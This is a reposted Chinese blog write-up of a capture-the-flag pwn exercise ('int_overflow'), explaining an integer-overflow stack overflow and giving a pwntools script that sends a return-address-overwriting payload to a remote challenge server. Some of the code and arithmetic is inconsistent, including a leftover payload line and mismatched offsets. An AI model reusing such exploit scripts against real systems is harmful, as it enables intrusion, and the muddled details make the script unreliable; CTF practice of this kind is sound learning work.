zoukankan      html  css  js  c++  java
  • *pwn*练习5——攻防世界-int_overflow

    常规操作就不说了

     进1,进入login函数

    输入密码后进入check_passwd函数

    从汇编代码中可以看到,想要覆盖到返回地址,先使用0x14 个数据覆盖stack拷贝的passed的内存区域,然后使用4字节数据覆盖ebp,再使用"cat flag"的地址覆盖返回地址,最后接上262剩余的数据即可。

    payload一共是256+3-256+8这些字节,先填充14+4进行覆盖,再填充跳转地址,再加上剩余的数据让v3达到绕过溢出的目的

    from pwn import *
    kubopiy=remote("220.249.52.133",59148)#
    elf = ELF("./int_overflow")
    payload=b'a'*(0x28+0x04)+p32(0x0804A0A8)#b是字这么多的a,再加一64位打包好的覆盖使之能覆盖seed
    kubopiy.recvuntil("Your choice:")#接收到那一句
    kubopiy.sendline('1')
    kubopiy.recvuntil("Please input your username:")#接收到那一句
    kubopiy.sendline(1)
    kubopiy.recvuntil("Please input your passwd:")#接收到那一句
    payload='A'*(0x14+4)+p32(0x8048691)+'a'*(256+3-0x14-4-4)#-4是因为还有一的指令
    kubopiy.sendline(payload)
    kubopiy.interactive()
  • 相关阅读:
    演义江湖PC端意见汇总
    演义江湖移动端内存优化意见汇总
    BitmapData类介绍
    我的职业规划_2013-7-29
    总结调用Flash的几种方法
    Pycharm注册
    删除表
    读取url中某个值
    Pycharm常用快捷键
    pip3使用
  • 原文地址:https://www.cnblogs.com/kubopiy/p/13673316.html
Copyright © 2011-2022 走看看